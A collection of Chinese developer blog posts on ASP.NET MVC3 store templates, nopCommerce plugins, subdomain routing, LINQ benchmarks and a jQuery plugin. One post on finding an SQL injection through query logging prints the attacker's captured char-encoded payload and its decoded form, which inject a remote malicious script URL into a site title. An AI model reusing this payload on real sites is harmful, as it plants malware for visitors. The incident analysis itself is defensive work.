博客园_叶鹏

基于mvc3的razor多用户店铺模板切换设计思路

2012-06-02T08:35:00Z

mvc3的实际应用时间还是不长，有些东西正在摸索当中，项目是多用户多模版店铺，以下为实际开发过程中的解决办法，感觉解决方案不是最好的，但是目前只能想到这些，希望园里的大牛们给点建议。

1.项目解决方案的目录结构。

Syw.Core主要放实体类及依赖注入的程序及插件和数据访问接口。

Syw.Data.SqlServer完全是一大堆sql,实现Syw.Core里的IData类。对orm我没深入使用过，还是觉得最大程度的控制我的sql比较放心，所有的集合都是List或者Ilist类型的。

Syw.Services业务处理层，类似以前的bll，这里用的是静态方法，没有走接口了，项目不是特别大，一个人开发，接口太多会很累。

Syw.Test单元测试用的，有时候调试返回结果还是很有用的。

Syw.Admin，后台管理，但是这个我参考的nopcommerce，生成的时候直接在网站更目录下生成Administrator文件夹，View和Content文件夹都在这里，但是dll文件是生成到Syw.Web这个主目录下的，这样我就不需要用二级域名来访问后台了，直接通过http://xxxx.com/admin就可以了。

Syw.Framework主要是一些基础帮助类。例如图片处理，邮件发送帮助类，字符串处理，自定义ui等等。

2.模板路径及结构

a1,a2,b1为不同风格的模板，不仅仅颜色不相同，排版方式也不相同。现在只有三个模板，通过这种方式选择模板。a1,a2为店铺类的，a3为服务类企业用的。

_LayoutStore.cshtml是店铺的主模板页。通过@Hmtl.Action来访问ChildAction加载页面，@RenderBody() 加载主页面。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<title>@ViewBag.Title -ooxx网</title>
<meta name="keywords" content="@ViewBag.Title">
<meta name="description" content="@ViewBag.Title">
<script type="text/javascript" src="/Scripts/jquery-1.4.4.min.js"></script>
<link href="/StoreThemes/a2/Content/style2.css" type="text/css" rel="stylesheet" />
</head>

<body>

@Html.Action("Header", "Store", new { store = ViewBag.Model.Store })



@Html.Action("TopBanner", "Store", new { store = ViewBag.Model.Store, act = Url.RequestContext.RouteData.Values["action"].ToString().ToLower() })

<div class="con">

@Html.Action("SideBar", "Store", new { store = ViewBag.Model.Store })
<div class="con-right">

@RenderBody()

</div>
</div>


@Html.Action("Footer","Store",new { store = ViewBag.Model.Store })

</body>
</html>

StoreController里的关于我们的Action

#region 关于我们
/// <summary>
/// 店铺简介
/// </summary>
/// <returns></returns>
public ActionResult About(int id)
{
var model = new StoreModel();
model.Store = StoreService.GetStoreById(id);
model.CurrentAction = RouteData.Values["action"].ToString().ToLower().ToLower();
ViewBag.Model = model;
return View(model.Store.Theme.ViewPath + "About.cshtml", model);
}
#endregion

ChildAction如下,网站底部

[ChildActionOnly]
public ActionResult Footer(StoreInfo store)
{
var model =new StoreModel();
model.Store = store;
if (store.Theme != null)
{
return PartialView(store.Theme.ViewPath + "Footer.cshtml", model);
}
else
{
return PartialView(StoreService.GetStoreConfig().DefaultView + "Footer.cshtml", model);
}
}

后台选择模板

通过这种简单的方式实现了多用户店铺多模板的选择功能，自定义二级域名不在这里赘述了。

自我感觉还有很多不完善的地方，欢迎拍砖。

独立博客地址：http://www.jqpress.com/post/182.aspx

本文链接

nopcommerce插件深度剖析

2012-05-31T08:18:00Z

nopcommerce插件机制是相当优秀的，所以就分析一下然后拿来所用，集成到自己的网站架构里。写篇小文记录一下。不足和错误之处还望指正，nop版本2.5

1.Nop.Core.Plugins核心文件夹
文件目录：

这里面是Plugins的基类文件夹，实现插件机制的核心部分。
IPluginFinder.cs接口：
获取插件的信息接口，在ioc里的Nop.Web.Framework.DependencyRegistrar注册此接口。
系统启动的时候会加载到内存里。
//plugins
builder.RegisterType<PluginFinder>().As<IPluginFinder>().InstancePerHttpRequest();
IPlugin.cs:
插件的操作接口，主要有设置插件的属性信息，安装插件接口，卸载插件接口。
BasePlugins.cs 实现IPlugin.cs的方法。
PluginDescriptor.cs 插件的实体类，包含了插件的版本、描述，类型，文件名称，作者，等等一系列状态。
PluginFileParser。cs 包含对插件的实体操作方法，主要是写入插件的描述信息。
PluginFinder.cs 加载所有的插件，并获取它们的信息.
PluginManager.cs 插件管理的主类，看里面的注释，它的插件机制应该是参考的Umbraco这个cms的。

2.自定义插件
在这里我演示一个空的插件，本来是写抓取程序的，时间关系，没有做了。插件名称,Nop.Plugin.Crawler
第一步：新建一个类库项目，而不是mvc应用项目。
第二步：在你的项目里添加需要的文件夹和文件：
Controllers，必选，控制器
Models，可选，如果你的项目很简单的话。
Views，可选但是一般情况下都需要有个界面的，放razor模板的.
Description.txt,这个必须要，插件的版本描述信息。内容如下
Group: Crawler
FriendlyName:Crawler
SystemName: Nop.Plugin.Crawler
Version: 1.00
SupportedVersions: 2.50
Author: nopCommerce team
DisplayOrder: 1
FileName: Nop.Plugin.Crawler.dll
在它上面点右键设置属性,如下图

Notes.txt ，这个是插件的备注信息，描述了插件的文件位置和一些注意事项。
RouteProvider.cs，路由文件，继承自Nop.Web.Framework.Mvc.Routes.IRouteProvider
using System.Web.Mvc;
using System.Web.Routing;
using Nop.Web.Framework.Mvc.Routes;

namespace Nop.Plugin.Crawler
{
public partial class RouteProvider : IRouteProvider
{
public void RegisterRoutes(RouteCollection routes)
{
routes.MapRoute("Nop.Plugin.Crawler",
"Plugins/Crawler/Index",
new { controller = "Crawler", action = "Index" },
new[] { "Nop.Plugin.Crawler.Controllers" }
);
}
public int Priority
{
get
{
return 0;
}
}
}
}
web.config，.net配置文件。
CrawlerController.cs 在我的控制器里定义了一个返回简单页面的方法。
using System.Web.Mvc;
using Nop.Web.Framework.Controllers;

namespace Nop.Plugin.Crawler.Controllers
{
[AdminAuthorize]
public class CrawlerController : Controller
{

public ActionResult Index()
{

return View("Nop.Plugin.Crawler.Views.Index");
}
}
}
大家注意了，返回的View里的view路径是插件里的视图路径，在view的Index.cshtml点右键设置的属性，cshtml是编译到dll里的
还有整个插件的属性，在插件项目上点右键设置输出属性
最后设置引用进来的dll文件属性。这样输出dll文件的时候不会把其他乱七八糟的文件也拷贝过来了。
在插件上点右键生只输出这三个文件

3.最后一步在Nop.Web的InstalledPlugins.txt里添加插件
插件名称不能重复,可以自定义。这里我的取的名字和插件项目名称相同没什么特殊要求。

后台插件预览就可以看到了。
原文来自：http://www.jqpress.com/post/178.aspx
独立博客：http://www.jqpress.com

本文链接

屌丝IT男

2012-05-06T08:40:00Z

偶尔翻到豆瓣里一篇对中国屌丝的批评，突然想到当年美国那个垮掉的一代，吸毒，淫乱，绝望的生存，而如今我们苦逼的80后自诩为屌丝的时候，也不想想每一个堕落的时代还是有牛逼的人存在，中国的大学，绝大部分在逃课，生殖冲动，暗无天日的游戏，苦逼学习的几乎是不入群，悲观消极的情绪像哈欠一样传染着每一个容易被感染的苦逼青年。毕业后即失业，人生没有方向，更无从理想了，傻逼的政府不知道怎么搞教育，造就了一群乌合之众的国家，纵使在这样的环境下，还是有人为理想奋斗着，每一天在充实，相信总有一天会有自己出头的。

我不吸毒，不喝酒，不打游戏，不搞乌烟瘴气的社会关系，在苦逼的it路上挨踢，虽然天资和能力都进不了微软google之类的公司，每天在自己既定的方向一步步前进。做着自己喜欢做的事情，认真做好每一件事情。摆脱虚伪的自我，既敢为了感情牺牲失业，又要做到掌握自己人生的方向，拒绝屌丝的自嘲，拒绝屌丝的人生。

当明白一切时，秋叶已泛黄，在收获的季节里播种，是期望下一个春天还是奢望冬天来临时那无几的颗实，纵使如此，朝闻道夕可死。

原文出处：http://www.jqpress.com/post/165.aspx

独立博客：http://www.jqpress.com

本文链接

mvc3实现用户自定义二级域名

2012-02-29T05:41:00Z

第一个代码文件

public class DomainRoute : Route
{
private Regex domainRegex;
private Regex pathRegex;

public string Domain { get; set; }

public DomainRoute(string domain, string url, RouteValueDictionary defaults)
: base(url, defaults, new MvcRouteHandler())
{
Domain = domain;
}

public DomainRoute(string domain, string url, RouteValueDictionary defaults, IRouteHandler routeHandler)
: base(url, defaults, routeHandler)
{
Domain = domain;
}

public DomainRoute(string domain, string url, object defaults)
: base(url, new RouteValueDictionary(defaults), new MvcRouteHandler())
{
Domain = domain;
}

public DomainRoute(string domain, string url, object defaults, IRouteHandler routeHandler)
: base(url, new RouteValueDictionary(defaults), routeHandler)
{
Domain = domain;
}

public override RouteData GetRouteData(HttpContextBase httpContext)
{
// 构造 regex
domainRegex = CreateRegex(Domain);
pathRegex = CreateRegex(Url);

// 请求信息
string requestDomain = httpContext.Request.Headers["host"];
if (!string.IsNullOrEmpty(requestDomain))
{
if (requestDomain.IndexOf(":") > 0)
{
requestDomain = requestDomain.Substring(0, requestDomain.IndexOf(":"));
}
}
else
{
requestDomain = httpContext.Request.Url.Host;
}
string requestPath = httpContext.Request.AppRelativeCurrentExecutionFilePath.Substring(2) + httpContext.Request.PathInfo;

// 匹配域名和路由
Match domainMatch = domainRegex.Match(requestDomain);
Match pathMatch = pathRegex.Match(requestPath);

// 路由数据
RouteData data = null;
if (domainMatch.Success && pathMatch.Success)
{
data = new RouteData(this, RouteHandler);

// 添加默认选项
if (Defaults != null)
{
foreach (KeyValuePair<string, object> item in Defaults)
{
data.Values[item.Key] = item.Value;
}
}

// 匹配域名路由
for (int i = 1; i < domainMatch.Groups.Count; i++)
{
Group group = domainMatch.Groups[i];
if (group.Success)
{
string key = domainRegex.GroupNameFromNumber(i);

if (!string.IsNullOrEmpty(key) && !char.IsNumber(key, 0))
{
if (!string.IsNullOrEmpty(group.Value))
{
data.Values[key] = group.Value;
}
}
}
}

// 匹配域名路径
for (int i = 1; i < pathMatch.Groups.Count; i++)
{
Group group = pathMatch.Groups[i];
if (group.Success)
{
string key = pathRegex.GroupNameFromNumber(i);

if (!string.IsNullOrEmpty(key) && !char.IsNumber(key, 0))
{
if (!string.IsNullOrEmpty(group.Value))
{
data.Values[key] = group.Value;
}
}
}
}
}

return data;
}

public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
{
return base.GetVirtualPath(requestContext, RemoveDomainTokens(values));
}

public DomainData GetDomainData(RequestContext requestContext, RouteValueDictionary values)
{
// 获得主机名
string hostname = Domain;
foreach (KeyValuePair<string, object> pair in values)
{
hostname = hostname.Replace("{" + pair.Key + "}", pair.Value.ToString());
}

// Return 域名数据
return new DomainData
{
Protocol = "http",
HostName = hostname,
Fragment = ""
};
}

private Regex CreateRegex(string source)
{
// 替换
source = source.Replace("/", @"\/?");
source = source.Replace(".", @"\.?");
source = source.Replace("-", @"\-?");
source = source.Replace("{", @"(?<");
source = source.Replace("}", @">([a-zA-Z0-9_]*))");

return new Regex("^" + source + "$");
}

private RouteValueDictionary RemoveDomainTokens(RouteValueDictionary values)
{
Regex tokenRegex = new Regex(@"({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?");
Match tokenMatch = tokenRegex.Match(Domain);
for (int i = 0; i < tokenMatch.Groups.Count; i++)
{
Group group = tokenMatch.Groups[i];
if (group.Success)
{
string key = group.Value.Replace("{", "").Replace("}", "");
if (values.ContainsKey(key))
values.Remove(key);
}
}

return values;
}
}

第二个代码文件

public class DomainData
{
public string Protocol { get; set; }
public string HostName { get; set; }
public string Fragment { get; set; }
}

在global里注册实现

routes.Add("DomainRoute", new DomainRoute(
"{subdomain}.您的域名.com", // Domain with parameters
"{controller}/{action}/{id}", // URL with parameters
new { subdomain = "", controller = "Home", action = "Index", id = "" } // Parameter defaults
));

在HomeController的index 里获取域名值

//获取二级域名
var subdomain = RouteData.Values["subdomain"].ToString();

剩下的工作接着做

本文链接

建议博客园成立中国的开源项目组织，同意的顶起

2011-11-16T08:19:00Z

建议博客园成立中国的开源项目组织，园子里这么多大牛，更多技术爱好者和分享者，而且很多牛人也有自己的开源项目托管在googlecode,codeplex,sourceforge,github，或者自己的爱机里，如果博客园里能专门托管园子里大牛的开源项目不是更好吗，每年选取一两个优秀的项目应该就够了(在这里更正一下，不是源码托管站，是类似apache的孵化器组织)况且园子里也有很多优秀的专题小组，资源要利用啊。如果有技术类商业公司赞助博客园的开源项目，既宣传了企业又推动了博客园发展，大家各取所需不也是很好吗？

当然让dudu做这个决定是艰难的，服务器要钱，人员要钱，所以要园友们共同支持，能孵化出中国自己的商业开源项目，哪怕是梦也要梦一下。作为长年泡在园子里的园友更希望博客园成为中国最好的技术社区，比那些广告满天飞的所谓的中国最大的技术社区更有影响力，事情是一件一件做出来的，估计dudu从来也没闲着，但是提出这个意见还是希望dudu做一个艰难的决定。

做一件事情开始一定是艰难的，下面的批评都有道理，博客园不就是这样坚持下来的吗。但是相信dudu，也相信园友，很小的项目哪怕是个小blog,小cms，小工具，一粒种子很可能就会成为大树。况且中国暂时没发现有有影响力的开源组织，有不少个人开源项目站点和大量的垃圾源码站。

好吧，那还是让园友做这个艰难的决定了，同意的推荐一下，不同意的反对一下。

ps一下：有个人的开源或者准备开源的项目爆出来给dudu和园友看看

本文链接

C# foreach,linq,delegate集合查询的性能比较

2011-11-04T01:13:00Z

昨天和别人讨论了一下linq的性能，自我觉得linq的性能不行，但是实际上linq还是在性能上有过人之处的，linq to sql除外，以下是简单的性能测试比较代码，在这里解释一下，代码的执行速度计时测试不能用datetime了，我还是个小白，刚开始用的datetime，结果发现linq的性能并不行，但是用StopWatch才发现了事实，以前对linq的偏见的同学还是拥抱一下linq吧，也许某些方面还存在没完全理解透，还请园友们给予批评指正。

class Program
{
static void Main(string[] args)
{
test();
}

static void test()
{
List<MyClass> list1 = new List<MyClass>();
for (int i = 0; i < 10000000; i++)
{
MyClass aa=new MyClass();
aa.Name = "测试数据" + i;
aa.id = i;
list1.Add(aa);
}

Stopwatch timer = new Stopwatch();

#region for循环
timer.Start();
List<MyClass> list2 = new List<MyClass>();

foreach (MyClass s in list1)
{
if (s.id >= 52 && s.id < 850) { list2.Add(s); }
}
timer.Stop();

Console.Write("集合匹配数" + list2.Count + "，for循环耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion

#region linq
timer = new Stopwatch();
timer.Start();
var list3 = list1.Where(product => product.id >= 52 && product.id < 850);
timer.Stop();

Console.Write("集合匹配数" + list3.Count() + "，linq耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion

#region delegate
timer = new Stopwatch();
timer.Start();
List<MyClass> list4 = list1.FindAll(delegate(MyClass post)
{
return post.id >= 52 && post.id < 850;
});
timer.Stop();

Console.Write("集合匹配数" + list4.Count() + "，delegate耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion

Console.Read();
}

public class MyClass
{
public string Name { get; set; }
public int id { get; set; }
}
}

测试的效果截图如下：

如果理解的不正确，还请大家批评一下，不能让错误的思想误人子弟

根据园友的批评指正，重新整理了一下代码，虽然是个简单的东西，但是对于新手批评比装懂好，对园友的细心指正不胜感激。

重新整理的代码如下：

class Program
{
static void Main(string[] args)
{
test();
}

static void test()
{
List<MyClass> list1 = new List<MyClass>();
for (int i = 0; i < 10000000; i++)
{
MyClass aa=new MyClass();
aa.Name = "测试数据" + i;
aa.id = i;
list1.Add(aa);
}

Stopwatch timer = new Stopwatch();

#region for循环
timer.Start();
List<MyClass> list2 = new List<MyClass>();

int count = 0;
foreach (MyClass s in list1)
{
if (s.id >= 52 && s.id < 850) { list2.Add(s); }
}
count = list2.Count;
timer.Stop();

Console.Write("集合匹配数" + count + "，for循环耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion

#region linq
timer = new Stopwatch();
timer.Start();
var list3 = list1.Where(product => product.id >= 52 && product.id < 850);
//list1.Where(product => product.id >= 52 && product.id < 850).ToArray().Count();
int count3 = list3.Count();
timer.Stop();

Console.Write("集合匹配数" + count3 + "，linq耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion

#region delegate
timer = new Stopwatch();
timer.Start();
List<MyClass> list4 = list1.FindAll(delegate(MyClass post)
{
return post.id >= 52 && post.id < 850;
});
int count4 = list4.Count();
timer.Stop();

Console.Write("集合匹配数" + count4 + "，delegate耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion

Console.Read();
}

public class MyClass
{
public string Name { get; set; }
public int id { get; set; }
}
}

测试截图

第三次更新代码，这次没有先后顺序产生的问题了：

class Program
{
static void Main(string[] args)
{
List<MyClass> list1 = new List<MyClass>();
for (int i = 0; i < 10000000; i++)
{
MyClass aa = new MyClass();
aa.Name = "测试数据" + i;
aa.id = i;
list1.Add(aa);
}

test_linq(list1);

test_foreach(list1);

test_delegate(list1);

Console.Read();
}

static void test_foreach(List<MyClass> list1)
{
Stopwatch timer = new Stopwatch();
#region foreach循环
timer.Start();
List<MyClass> list2 = new List<MyClass>();

int count = 0;
foreach (MyClass s in list1)
{
if (s.id >= 52 && s.id < 850) { list2.Add(s); }
}
count = list2.Count;
timer.Stop();

Console.Write("集合匹配数" + count + "，for循环耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion
}
static void test_linq(List<MyClass> list1)
{
Stopwatch timer = new Stopwatch();
#region linq
timer = new Stopwatch();
timer.Start();
var list3 = list1.Where(product => product.id >= 52 && product.id < 850);
//list1.Where(product => product.id >= 52 && product.id < 850).ToArray().Count();
int count3 = list3.Count();
timer.Stop();

Console.Write("集合匹配数" + count3 + "，linq耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion
}
static void test_delegate(List<MyClass> list1)
{
Stopwatch timer = new Stopwatch();
#region delegate
timer = new Stopwatch();
timer.Start();
List<MyClass> list4 = list1.FindAll(delegate(MyClass post)
{
return post.id >= 52 && post.id < 850;
});
int count4 = list4.Count();
timer.Stop();

Console.Write("集合匹配数" + count4 + "，delegate耗时：");
Console.WriteLine(timer.Elapsed.Ticks);
#endregion
}

public class MyClass
{
public string Name { get; set; }
public int id { get; set; }
}
}

看以上截图基本没什么大的变化

总结：没有认识linq在延时加载方面的处理，所以linq的count操作触发了linq的实际查询操作，也许还没有深入理解，但是总有一天会理解的

博客地址:http://www.jqpress.com/post/43.aspx

本文链接

记一次成功的sql注入入侵检测附带sql性能优化

2011-09-25T08:52:00Z

很多同学和园友都遇到过sql注入的，其中大部分都是代码的不严谨造成的，都是犯过很多错误才学会认真起来。

但是如果是让你接手一个二等残废的网站，并让你在上面改版，而且不能推翻式改版，只能逐步替换旧的程序，那么你会非常痛苦，例如我遇到的问题：

问题1.

老板对你说，以前刚做完网站好好了，没有出现木马，怎么你来了，就会出现木马，先别说了，赶紧解决问题，我彻底无语，但是如果争吵，其实证明你和老板一样无知，拿出证据和事实分析来让公司其他稍微懂技术的一起来证明，公司网站被挂马不是你来了的错。

如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇 Fckeditor使用笔记，其实很多人都遇到过，也解决过，都是小问题，但是让你老板明白比解决漏洞问题更蛋疼，我那解释的叫一个汗啊，恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马，然后演示怎么上传木马，奶奶的，黑客教程普及啊。

问题2.

网站又出现问题，上次的问题解决了不过两个月，网站又被入侵挂马，如是老板这次再说因为我来了才出问题，立马走人，这就是为什么不能更不懂技术的人硬碰硬，更不能和你的老板来说，说了你又不懂。

但是要命的是网站是以前的技术开发的二等残废，在别个的cms上修改的，我必须保证网站在的开发的同时旧的模块还可以使用，通过逐步更新的方法将网站底层翻新，但是那么多页面，你很难一个一个去检测那个页面有漏洞，如是写出下面的检测代码，没想到这么简单的就搞定了，并且可以通过此方法优化你的sql。

第一步建立一个sql日志表

CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

记录sql语句、此sql语句被执行次数，参数及值，记录开始时间，结束时间，来自哪个页面，ip和此条语句执行时间(暂时没用)
第二步在sqlhelper里写记录代码

两个方法本来可以写成private的，但是此二等残废的网站其他地方用的别的sqlhelper类，就直接调用此处通过合理优化的sqlhelper类的方法了。

代码1：插入日志

public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region 参数处理
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";

if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}

colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + "；";
}

paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace("'","‘").Replace(";","；");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};

#endregion

using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;

string sql = "";

// 执行DbCommand命令,并返回结果.
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// 执行DbCommand命令,并返回结果.
int retval = cmd.ExecuteNonQuery();

// 清除参数,以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}

}

代码2：判断此条sql是否存在

private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{

if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// 创建并打开数据库连接对象,操作完成释放对象.
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");

//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();

// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();

bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);

// 执行DbCommand命令,并返回结果.
object retval = cmd.ExecuteScalar();

// 清除参数,以便再次使用.
cmd.Parameters.Clear();

if (mustCloseConnection)
connection.Close();

return retval;
}

}

第三部在你的每个执行sql语句的方法里加入以下代码，不管是ExecuteScalar、ExecuteReader还是ExecuteNonQuery等等都加上

//执行sql之前进行日志记录操纵
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

代码示例:

public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");

//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();

// 创建DbCommand命令,并进行预处理
DbCommand cmd = Factory.CreateCommand();

bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
//执行sql之前进行日志记录操纵
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// 执行DbCommand命令,并返回结果.
object retval = cmd.ExecuteScalar();

// 清除参数,以便再次使用.
cmd.Parameters.Clear();

if (mustCloseConnection)
connection.Close();

return retval;
}

然后你会发现入侵的入口被记录下来了，后面方框里的就是构造注入的sql

构造sql如下：

39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

转码后变成这样了：

update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://dfrgcc.com/ur.php></script>')

这个就是木马地址，没事你就别点了，好奇害死猫。

小结：

既然知道入口就知道怎么补救了吧，把string类型该过滤的都过滤掉，int类型的就得是int类型，别让数据库替你隐式转。通过此sql日志记录，你应该发现一点那个hit还是有点价值的。

通过select top 100 * from my_sqllog order by hit desc你会发现你写的那么多sql原来真垃圾，在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top 100里。

抛砖引玉，望高手批评，以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站，伤不起。

作者：jqbird

出处：http://www.cnblogs.com/jqbird/
本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。

本文链接

jquery tab插件精简版

2011-09-10T08:01:00Z

自己平时用得比较多tab功能，网上有很强大的tab功能，但是很多时候太过于复杂，所以自己写了一个最简单的jquery插件，代码如下，就不解释了。

/*
* jqpressToos1.0
*
* Copyright (c) 2011 yepeng
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
*/

$.fn.extend({
//插件名称：Tab选项卡
jqpressTab: function(options) {
//参数和默认值
var defaults = {
_tabClass: null,//选项卡样式
_childs:null //子选项样式选择器
};
var options = $.extend(defaults, options);
var o = options;

var parentCate = $(this);
var childCate = $(o._childs);

parentCate.mouseover(function() {
parentCate.removeClass(o._tabClass);

$(this).addClass(o._tabClass);
for (i = 0; i < parentCate.length; i++) {
if (parentCate[i].className == o._tabClass) {
childCate[i].style.display = "block";
} else {
childCate[i].style.display = "none";
}
}

});
}
});

})(jQuery);

调用方法更简单：

jQuery(document).ready(function(){ $(".mytab li a").jqpressTab({ _tabClass: "样式名称", _childs: "子元素样式名称" });});

如果需要根据ID做选择器自己扩展去吧，呵呵

本文链接

设计模式完整备忘录

2011-09-08T04:06:00Z

小言：这不是设计模式讲解型博文，以下将设计模式的概述、类图，代码示例，总结分每篇博文单独展示，现将其归类，便于以后翻阅，设计模式也不是一两个月学完了就能完全领悟，它只告诉我们几个解决问题的思路和方法，将具体问题抽象为模型的思想，武功也是，套路需要学，但是基本功(如马步、力量，毅力，抗打击能力)绝对不可或缺，在学习设计模式的同时更需要看看数据结构和算法方面的基础东东。设计模式不是银弹，如果非要用降龙十八掌对付一只蚂蚁不是一个好想法。本人也是学艺不精，整理当中难免有错误，希望在大家的批评指正，共同进步。

一、创建型模式

工厂方法(FactoryMethod)

定义一个用于创建对象的接口，让子类决定实例化哪一个类。

FactoryMethod使一个类的实例化延迟到其子类。

抽象工厂(AbstractFactory)

提供一个创建一系列相关或相互依赖对象的接口，而无需指定它们具体的类。

建造者(Builder)

将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。

单例模式(Singleton)

保证一个类仅有一个实例，并提供一个访问它的全局访问点。

原型模式(Prototype)

用原型实例指定创建对象的种类，并且通过拷贝这些原型创建新的对象。

二、结构型模式

适配器模式(Adapter)

将一个类的接口转换成客户希望的另外一个接口。Adapter模式使得原本

由于接口不兼容而不能一起工作的那些类可以一起工作。

桥接模式(Bridge)

将抽象部分与它的实现部分分离，使它们都可以独立地变化。

组合模式(Compsite)

将对象组合成树形结构以表示"部分-整体"的层次结构。

"Composite使得用户对单个对象和组合对象的使用具有一致性。"

装饰模式(Decorator)

动态地给一个对象添加一些额外的职责。就增加功能来说，Decorator模式相比生成子类更为灵活

外观模式(Facade)

为子系统中的一组接口提供一个一致的界面，Facade模式定义了一个高层接口，

这个接口使得这一子系统更加容易使用。

享元模式(Flyweight)

运用共享技术有效地支持大量细粒度的对象。

代理模式(Proxy)

为其他对象提供一种代理以控制对这个对象的访问。

二、行为型模式

责任链模式(Chain Of Responsibility)

使多个对象都有机会处理请求，从而避免请求的发送者和接收者之间的耦合关系。

将这些对象连成一条链, 并沿着这条链传递该请求，直到有一个对象处理它为止。

命令模式(Command)

将一个请求封装为一个对象，从而使你可用不同的请求对客户进行参数化；

